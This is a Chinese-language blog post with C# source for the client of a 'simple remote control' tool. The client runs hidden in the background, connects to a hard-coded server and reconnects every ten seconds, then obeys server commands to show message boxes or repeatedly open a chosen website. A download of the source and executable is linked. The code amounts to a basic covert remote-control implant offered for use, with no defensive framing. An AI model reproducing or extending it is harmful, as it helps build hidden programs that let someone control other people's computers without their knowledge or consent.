C#简单远程控制制作源代码程序以及思路(客户端)

48 篇文章 1 订阅

远程控制的服务器端前面介绍过了

http://blog.csdn.net/a112634313/article/details/7941446

现在开始客户端的实现

客户端的实现也是很简单的,实现与服务器的socket连接然后接受服务器发送过来的消息,进行解析,运行写好的方法,就是客户端的实现原理。

客户端的界面非常简单,什么都没有,因为是做后台运行的软件,所以前台的界面都是多余的,只需要用程序来控制就可以了。

至于怎么把前台的界面隐藏起来就看前面已经写过的一篇文章,隐藏前台界面

http://blog.csdn.net/a112634313/article/details/7939049


好,现在开始客户端代码的实现。

首先是连接服务器的代码,这是少不了的。

  1. private Socket socket;  
  2. /// <summary>   
  3. /// 连接服务器   
  4. /// </summary>   
  5. private void Conn()  
  6. {  
  7.     try  
  8.     {  
  9.         socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);  
  10.         IPEndPoint ipPort = new IPEndPoint(IPAddress.Parse("192.168.0.200"), 6160);  
  11.         socket.Connect(ipPort);  
  12.         Recevice();  
  13.     }  
  14.     catch (Exception)  
  15.     {  
  16.         Thread.Sleep(10000);  
  17.         Conn();  
  18.     }  
  19. }  
        private Socket socket;
        /// <summary>
        /// 连接服务器
        /// </summary>
        private void Conn()
        {
            try
            {
                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                IPEndPoint ipPort = new IPEndPoint(IPAddress.Parse("192.168.0.200"), 6160);
                socket.Connect(ipPort);
                Recevice();
            }
            catch (Exception)
            {
                Thread.Sleep(10000);
                Conn();
            }
        }
这里使用了异常处理,就是有时候如果服务器没开的话客户端就会每隔10秒尝试与服务器连接一次,以免丢失连接。

然后就是接受服务器消息的方法

  1. /// <summary>   
  2. /// 接收服务器发来的消息   
  3. /// </summary>   
  4. private void Recevice()  
  5. {  
  6.     while (true)  
  7.     {  
  8.         byte[] byt = new byte[1024];  
  9.         int length = socket.Receive(byt);  
  10.         string jsonStr = System.Text.Encoding.UTF8.GetString(byt);  
  11.         jsonStr = RemoveEmptyChar(jsonStr);  
  12.         if (length > 0)  
  13.         {  
  14.             MSGStruct msg = JsonMapper.ToObject<MSGStruct>(jsonStr);  
  15.             GetOperation(msg);  
  16.         }   
  17.     }  
  18. }  
        /// <summary>
        /// 接收服务器发来的消息
        /// </summary>
        private void Recevice()
        {
            while (true)
            {
                byte[] byt = new byte[1024];
                int length = socket.Receive(byt);
                string jsonStr = System.Text.Encoding.UTF8.GetString(byt);
                jsonStr = RemoveEmptyChar(jsonStr);
                if (length > 0)
                {
                    MSGStruct msg = JsonMapper.ToObject<MSGStruct>(jsonStr);
                    GetOperation(msg);
                } 
            }
        }
这里就是循环接受消息,并且把消息转换成json对象。如果没有使用while那么方法只会接受一次消息就停止了。

下面开始操作,根据msg的不同的key来选择不同的方法

  1. private void GetOperation(MSGStruct msg)  
  2. {  
  3.     switch (msg.key)  
  4.     {  
  5.         case "text":  
  6.             MessageBox.Show(msg.json);  
  7.             break;  
  8.         case "openUrl":  
  9.             Thread _threadUrl = new Thread(OpenUrl);  
  10.             _threadUrl.IsBackground = true;  
  11.             _threadUrl.Start(msg.json);  
  12.             break;  
  13.     }  
  14. }  
        private void GetOperation(MSGStruct msg)
        {
            switch (msg.key)
            {
                case "text":
                    MessageBox.Show(msg.json);
                    break;
                case "openUrl":
                    Thread _threadUrl = new Thread(OpenUrl);
                    _threadUrl.IsBackground = true;
                    _threadUrl.Start(msg.json);
                    break;
            }
        }
由于简单的远程控制,只实现了2个功能,所以这里只有2中方法,如果需要什么其他的功能都可以添加。

  1. static OpenClass open;  
  2. private void OpenUrl(object josn)  
  3. {  
  4.     string json = josn.ToString();  
  5.     open = JsonMapper.ToObject<OpenClass>(json);  
  6.     while (open.IsStart==1)  
  7.     {  
  8.         Process.Start("http://" + open.openUrl);  
  9.         Thread.Sleep(int.Parse(open.stopTime+"000"));  
  10.     }  
  11. }  
  12. public class OpenClass  
  13. {  
  14.     /// <summary>   
  15.     /// 要打开的网站   
  16.     /// </summary>   
  17.     public string openUrl;  
  18.     /// <summary>   
  19.     /// 间隔的时间   
  20.     /// </summary>   
  21.     public string stopTime;  
  22.     /// <summary>   
  23.     /// 是否开始,1表示开始,0表示关闭   
  24.     /// </summary>   
  25.     public int IsStart;  
  26. }  
        static OpenClass open;
        private void OpenUrl(object josn)
        {
            string json = josn.ToString();
            open = JsonMapper.ToObject<OpenClass>(json);
            while (open.IsStart==1)
            {
                Process.Start("http://" + open.openUrl);
                Thread.Sleep(int.Parse(open.stopTime+"000"));
            }
        }
        public class OpenClass
        {
            /// <summary>
            /// 要打开的网站
            /// </summary>
            public string openUrl;
            /// <summary>
            /// 间隔的时间
            /// </summary>
            public string stopTime;
            /// <summary>
            /// 是否开始,1表示开始,0表示关闭
            /// </summary>
            public int IsStart;
        }

这个是每隔几秒打开网页的实现。这就是客户端的实现方法,需要什么功能,只需要在服务器定义好,然后在客户端写好实现的方法,那么完善就很简单了。

源代码下载地址以及Exe程序

http://download.csdn.net/detail/a112634313/4547248


评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值